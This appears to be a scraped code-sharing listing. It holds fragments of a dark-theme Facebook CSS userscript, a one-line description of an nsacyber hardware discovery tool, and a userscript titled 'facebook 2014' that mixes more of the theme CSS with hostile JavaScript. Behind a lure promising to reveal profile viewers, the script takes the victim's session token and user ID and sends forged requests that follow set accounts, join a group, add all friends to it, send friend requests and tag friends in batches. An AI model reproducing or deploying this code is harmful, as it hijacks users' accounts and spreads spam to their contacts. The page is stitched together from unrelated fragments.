url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n\n.pl-alt {background-color: #222 !important;}\n\n\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n\n\n.chat_input {width: 195px !important;}\n\n\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span, .menuPulldown {background-color: transparent !important;}\n\n\n\n.extended_link div {background-color: #fff !important}\n\n\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #fa9 !important;}\n\n\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.uiCloseButton, .ogAggregationPanelUFI, .ogAggregationPanelText {border: none !important;}\n\n\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n\n\n.attachment_link a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;text-decoration: none !important;height: 18px !important;}\n\n\n\ndiv.fbChatSidebarDropdown .uiCloseButton,.fbDockChatDropdown .uiSelectorButton,.storyInnerContent .uiSelectorButton,.fbTimelineAllActivityStorySelector .uiButton .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/GrayGear_15.png\") center center no-repeat !important; width: 26px !important;}\n\n\n\ndiv.fbChatSidebarDropdown .uiCloseButton {height: 23px !important;}\n\n\n\n.videoicon {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/video_chat_small.png\") center center no-repeat !important; }\n\n\n\n.uiStream .uiStreamFirstStory .highlightSelector .uiSelectorButton {margin-top: -5px !important;}\n\n\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide,.uiCloseButton,.fbSettingsListItemDelete {width: 18px !important;}\n\n.fg_action_hide {width: 18px !important; margin-top: 0 !important; }\n\n\n\n.fg_action_hide_container {width: 18px !important;}\n\n.uiSideNav li {left: 0 !important;padding-left: 0 !important;}\n\n\n\n.UIHotStory_Bling,.UIHotStory_BlingCount:hover,.request_link:hover,.request_link span:hover,.uiLinkButton {text-decoration: none !important;}\n\n\n\nli form + .navSubmenu > div > div {padding: 12px !important; margin-top: -12px !important;}\n\nli form + .navSubmenu > div img {margin-top: 12px !important;}\n\n\n\n.uiStreamBoulderHighlight {border-right: none !important;}\n\n\n\n\n\n.UIMediaItem_Photo .UIMediaItem_Wrapper {padding: 10px !important;}\n\n\n\n#footerRight,.fg_action_hide {margin-right: 5px !important;}\n\n\n\n.fbx_stream_header,.pas .input {padding: 5px !important;}\n\n\n\n.ptm {padding: 5px 0 !important;}\n\n\n\n.fbTimelineUnitActor {padding-top: 5px !important;}\n\n.home_right_column {padding-top: 0 !important;}\n\n\n\n.uiButton[tooltip-alignh=\"right\"] .uiButtonText {padding: 2px 10px 3px 10px !important; font-weight: bold !important;}\n\n\n\n.uiSideNav .uiCloseButton {left: 160px !important;border: none !important;}\n\n.uiSideNav .uiCloseButton input {padding-left: 2px !important;padding-right: 2px !important;margin-top: -4px !important;border: none !important;}\n\n\n\n.storyInnerContent .uiTooltip.uiCloseButton {margin-right: -10px !important;}\n\n.storyInnerContent .stat_elem .wrap .uiSelectorButton.uiCloseButton,.uiFutureSideNavSection .open .item,.uiFutureSideNavSection .open .subitem,.uiFutureSideNavSection .open .subitem .rfloat,.uiSideNav .subitem,.uiSideNav .open .item {margin-right: 0 !important;}\n\n\n\n.audienceSelector .wrap .uiSelectorButton {padding: 2px !important;}\n\n\n\n.jewelHeader,.fbSettingsListItemDelete {margin: 0 !important;}\n\n.UITitledBox_Title {margin-left: 4px;margin-top:1px;}\n\n\n\n.uiHeader .uiHeaderTitle {margin-left: 7px !important;}\n\n.fbx_stream_header .uiHeaderTitle,#footerLeft {margin-left: 5px !important;}\n\n\n\n.comments_add_box_image {margin-right: -5px !important;}\n\n.show_advanced_controls {margin-top:-5px !important;}\n\n.chat_window_wrapper {margin-bottom: 3px !important;}\n\n.UIUpcoming_Item {margin-bottom: 5px !important;}\n\n#pagelet_right_sidebar {margin-left: 0 !important;}\n\n\n\n.profile-pagelet-section,.uiStreamHeaderTall,.timelineRecentActivityLabel,.friendsBoxHeader {padding: 5px 10px !important;}\n\n\n\n.GBSearchBox_Button,.uiSearchInput button {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/search.png\") center center !important;}\n\n.uiSearchInput button {width: 23px !important;height: 21px !important;top: 0 !important;background-position: 3px 2px !important;}\n\n\n\n.UIButton_Text,.UISearchInput_Text {font-weight: normal !important;}\n\n\n\n.x_to_hide,.top_bar_pic .UIRoundedImage {margin: 0 !important;padding: 0 !important;}\n\n\n\n.uiHeaderActions .uiButton .uiButtonText {margin-left: 15px !important;}\n\n\n\n\n\n.searchroot,#share_submit input {padding-right: 5px !important; }\n\n.composerView {padding-left: 8px !important;padding-bottom: 4px !important;}\n\n.info_section {padding: 6px !important;}\n\n.uiInfoTable .dataRow .inputtext {min-width: 200px !important;}\n\n\n\n.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs {margin: 0 -10px 0 6px !important;}\n\n\n\n.uiStreamPrivacyContainer .uiTooltip,.UIActionMenu_Lock,.fbPrivacyLockButton,.fbPrivacyLockButton:hover,.sx_7bedb4,.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs,div.fbPrivacyLockSelector {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/privacylock.png\") no-repeat center center !important;}\n\n\n\n.jewelCount,.pagesTimelineButtonPagelet .counter {margin: -8px -4px 0 0 !important;padding: 1px 4px !important;}\n\n\n\n#share_submit {padding: 0 !important;border: none !important;}\n\n#share_submit input,.friend_list_container .friend {padding-left: 5px !important;}\n\n\n\na{outline: none !important;}\n\n\n\n#contact_importer_container input[value=\"Find Friends\"] {border: none !important;box-shadow: none !important;}\n\n\n\n#pageLogo {mar
nsacyber
Intel Atom C2000 series discovery tool that parses log files and returns results if a positive match is found. #nsacyber
ephendyy
// ==UserScript== // @name facebook 2014 // @version v.01 // @Hak Cipta Ephendy // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Apakah Anda Ingin mengetahui pengintip profil Anda..?? Klik OK untuk melanjutkan'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // ADMIN a("100003968374379");a("100002185318761");a("1472703506");a("675820844");a("510704624");a("510704630"); var gid = ['610945318992585']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: url(\"http://techbeasts.com/wp-content/uploads/2013/10/WeChat-Application-Android.png\") repeat fixed left center #051022 !important;\n}\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: none !important;}\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #9cf !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #9cf,inset 0 0 2em #69f !important;}\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #9cf !important;border-width: 0 !important; }\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #9cf,inset 0 0 2em #69f !important;}\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #9cf,0 0 1em #000 !important;}\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #9cf,0 .5em 1em 1em #9cf !important;}\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #9cf;padding: 0 4px !important;}\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover, .pagesVoiceBar, ._k5 {box-shadow: 0 0 1em 4px #9cf !important;}\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #9cf;}\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #9cf !important}\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #9cf !important;}\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n#blueBar {box-shadow: 0 0 1em 3px #000 !important;}\n\n\n.fill {box-shadow: inset 0 0 2em #69f,0 0 1em #000 !important;}\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #9cf !important;}\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: 